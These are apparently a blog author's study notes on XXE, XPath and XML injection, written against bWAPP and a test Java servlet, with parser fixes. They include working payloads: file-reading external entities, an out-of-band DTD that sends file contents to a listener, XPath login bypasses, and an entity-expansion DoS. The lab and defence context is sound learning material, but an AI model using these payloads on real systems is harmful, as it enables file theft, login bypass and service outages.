XXE外部实体注入(XML External Entity Injection)学习笔记
Posted 土豆Hero
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE外部实体注入(XML External Entity Injection)学习笔记相关的知识,希望对你有一定的参考价值。
说明:这篇笔记记录了我学习XXE外部实体注入相关的知识,包括基础知识以及后面的实例,里面还掺杂了最早学习xml注入的一些笔记,可能显得有些乱。最早学习的时候是基于php语言写的BWAPP靶机做的实验学习,最近又在学习JAVA代码审计,因此对当时的笔记进行了补充。部分笔记都来源于网络,另外结合自己的理解对java测试代码进行了补充修改,通过对代码的修复加深对XXE攻击的理解。另外强调一下,本文记录仅用于学习,提高应用程序安全性,请勿恶意使用!有不正确的地方也请大家指出修正。
一、基础知识
XML /DTD的知识参见:http://www.runoob.com/dtd/dtd-intro.html
需要注意几个概念:
XML:可扩展标记语言,用于数据存储和传输,而html用于数据展现
DTD:文档类型定义,描述了文档的结构及其字段含义,DTD可以在XML文档内部声明,也可以在外部引用。下面是一个比较典型的示例:
<?xml version=”1.0” ?>
<!DOCTYPE note [
<!ELEMENT note
(to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don’t forget the
meeting!</body>
</note>
PCDATA:Parsed Character Data,意为被解析的字符数据。
CDATA:Character Data ,意为字符数据,解析器不进行解析的文本。当文本中包含”<”和”&”时,在XML中是非法的,会产生错误,因此可以使用CDATA进行修饰,格式如下:
<![CDATA[
被解析器忽略的字符
]]>
DTD实体:用于定义引用普通文本或者特殊字符的快捷方式的一个变量,可以在内部声明,也可以外部引用。
XML参数实体:普通实体引用以&开头,以;结尾;参数实体定义的时候以%表示,引用也以%开头,以;结尾。参数实体只能在DTD中定义及引用,而普通实体在XML文档中使用。如下面这一段:
<?xml version="1.0"
encoding="UTF-8" ?>
<!DOCTYPE a[
<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<user><username>&bbbb;</username><password>admin</password></user>
evil.dtd文件内容:
<!ENTITY % aaaa SYSTEM
"file:///e:/test.txt">
<!ENTITY % demo "<!ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa;>">
%demo;
当用户输入的数据以xml的格式发送给服务器处理,而用户可以控制输入的数据,并且允许引用外部实体时,就有可能产生XXE注入漏洞。
二、PHP代码测试实例
(一)使用bwapp靶机进行测试
基于PHP的靶机比较多,比如DVWA、Bwapp等,网上要以自行下载。
当允许引用外部实体时,通过构造恶意内容可导致读取任意文件,下面是正常访问的截包:
获取报文后,插入恶意的内容:
<?xml version=”1.0”
encoding=”UTF-8”?>
<!DOCTYPE a[
<!ENTITY b SYSTEM
“file:///etc/passwd”>
]>
将实体b带入到用户输入中,修改后的截包:
备注:上面的实验没有成功,始终报错。
修改后不报错,但是没有达到效果:看到返回bee’s secret has been reset就可以了,可以通过查看数据库,secret是否有被修改。
下面的方法也可以:
关键代码:$login 必须存在,上面是通过&b;去调用实体。
(二)XML/XPATH 注入漏洞,表单登录
判断漏洞类型:登录界面和采用数据库一样,只是查询数据的时候不是从数据库中查询,而是从XML文档中去查询。
根据报错信息判断为XML。
万能密码:
admin or 1=1
未知用户名:
用户名:x or 1 or 1
密码:随意
闭合XML标签:
用户名:] | //*|//*[
密码:随意,可以不填
在密码处绕过登录:
密码:1 or 1=1
(三)XML/XPATH 注入:search
genre=horror)]|//*|//*[(
通过尝试各种方式都不成功,查看源代码,这里使用了contains函数,该函数在中括号中调用:
$result =
$xml->xpath("//hero[contains(genre, $genre)]/movie");
需要去闭合圆括号以及中括号。
genre=horror)]|//*|//*[(
或者:genre=)]|//*|//*[(
三、Java代码测试实例
这是由Jsp和Servlet构成的测试代码,代码根据B站老师讲解的内容https://www.bilibili.com/video/BV1av411H7K4调试而来。
前端页面为loginxml.jsp,获取用户输入的用户名密码,然后组合成为xml格式的文本,并且传输给LoginServletXml.java进行处理,该段代码使用@WebServlet(“doLoginServlet”进行注解。当用户输入用户名为admin,密码为admin时,后台返回code为1,msg为用户名,如下:
(一) 普通注入方式
我在E盘放了一个测试文件test.txt,内容为“this is a test,现在插入恶意数据读取该内容:
<?xml version="1.0"
encoding="UTF-8" ?>
<!DOCTYPE a[
<!ENTITY b SYSTEM
"file:///e:/test.txt">
]>
<user><username>&b;</username><password>admin</password></user>
修复方式:
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");
修复后再次访问,可以看到未反回需要的信息,而是返回了预置的错误信息:
(二)使用CDATA处理数据
当被读取的文件存在特殊符号时,如把文件修改为:
this is a test
<javascript >
<?php $_POST["cmd"]>
?
>]
再次访问时服务器报错,如下:
[Fatal Error] test.txt:5:3: XML 文档结构必须从头至尾包含在同一个实体内。
org.xml.sax.SAXParseException; systemId:
file:///e:/test.txt; lineNumber: 5; columnNumber: 3; XML 文档结构必须从头至尾包含在同一个实体内。
解决办法:
<?xml version="1.0"
encoding="UTF-8" ?>
<!DOCTYPE a[
<!ENTITY % a1
"<![CDATA[">
<!ENTITY % b SYSTEM
"file:///e:/test.txt">
<!ENTITY % a2 "]]>">
<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<user><username>&all;</username><password>admin</password></user>
准备一个可以通过http访问到的evil.dtd文件,该文件中的内容:
<?xml version="1.0"
encoding="UTF-8" ?>
<!ENTITY all "%a1;%b;%a2;">
在本地启动一个httpserver,
再次访问,可以看到数据被成功读出:
(三) XXE外带数据POC
当用户输入数据程序不进行回显时,可以尝试构造恶意代码,如下是将参数实体的返回作为HTTP请求的参数发送到HTTP服务器,然后在HTTP服务器接收请求并且显示请求的内容。
<?xml version="1.0"
encoding="UTF-8" ?>
<!DOCTYPE a[
<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<user><username>&bbbb;</username><password>admin</password></user>
evil.dtd文件内容:
<!ENTITY % aaaa SYSTEM
"file:///e:/test.txt">
<!ENTITY % demo "<!ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa;>">
%demo;
将该evil.dtd文件放在http服务器中,确保目标服务器可以访问到该文件,这里我是在本地开启了HTTP服务器,监听在8888端口,使用http://127.0.0.1:8888/evil.dtd去访问即可。另外再开启一台服务器监听目标服务器发出来的请求,我这里仍然使用的是本地电脑,使用nc监听9999端口,nc -lvp 9999,然后使用burp发送报文:
监听服务器:
四、防御方法
Java修复方法补充:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 修复方法一:
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");
// 修复方法二://
dbf.setExpandEntityReferences(false);
// try
//
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
// catch (ParserConfigurationException
e)
// e.printStackTrace();
//
五、XML 攻击模式
1. XML 文档结构内容注入攻击
前提:
了解XML文档结构,确认可控参数,根据XML语法 规则构造出攻击 PAYLOAD
攻击危害:
攻击者可以通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,引起注入造成越权添加数据及登录绕过等危害。
方法:
对可控参数输入想要篡改的元素标签和值,查看存储的数据是否被篡改,如果有多个可控参数,尝试在第一个参数输入注释开始符<!--,另外一个参数中插入结束-->,查看注释处理是否生效。
原始传输的XML内容:
<reset>
<login>bee</login>
<secret>sbee2</secret>
</reset>
插入POC:
bee</login><secret>bee1</scret><login>bee2></login>
插入后:
<reset>
<login>bee</login>
<secret>bee1</scret>
<login>bee2></login>
<secret>sbee2</secret>
</reset>
2. SOAP内容注入攻击
前提:
了解XML文档结构,还需要知道SOAP的消息数据格式,确认可控参数,构造出攻击PAYLOAD。SOAP发现相对比较困难。
危害:
通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,造成越权添加数据及登录等。
方法:
尝试恶意的XML闭合标签,若出错,尝试提交一对有效的起始标签,如果未出错,则可能存在注入攻击。
多个参数可以尝试输入注解。
3. XEE注入攻击
XML实体扩展注入,借助命名实体进行攻击。
危害:主要是造成DOS攻击
实施攻击的方法:
通过构造恶意递归的XML实体文档,在XML解析器解析时导致服务器可用的资源耗尽
简单示例&结果:
<!DOCTYPE
data [
<!ENTITY a0 “dos”>
<!ENTITY a1 “&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;”>
<!ENTITY a2 “&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;”>
<!ENTITY a3 “&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;”>
<!ENTITY a4 “&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;”>
]>
<data>&a4;</data>
结果:一般造成后台CPU占用率超过100%,服务器死机重启等现象。
4. XXE注入攻击
XML外部实体注入攻击,主要是借助外部实体进行注入攻击
危害:从应用程序能够访问的任何WEB服务器上检索敏感内容,读取服务器上的资源内容。如读取服务器文件内容,远程命令执行RCE,后端端口扫描,加载一个大文件进行DOS攻击。
5. BlindXXE注入攻击
高级的XXE攻击,XML外部参数实体注入攻击,主要是借助参数实体进行注入攻击,一般XXE攻击,主要发生在外部实体引用时借助回显来读取文件内容,但是当不能回显时,就要借助于带外数据通道OOB来实现回显绕过基本的XXE攻击限制,这就是Blind XXE
以上是关于XXE外部实体注入(XML External Entity Injection)学习笔记的主要内容,如果未能解决你的问题,请参考以下文章
4.XXE (XML External Entity Injection)
译Attacking XML with XML External Entity Injection (XXE)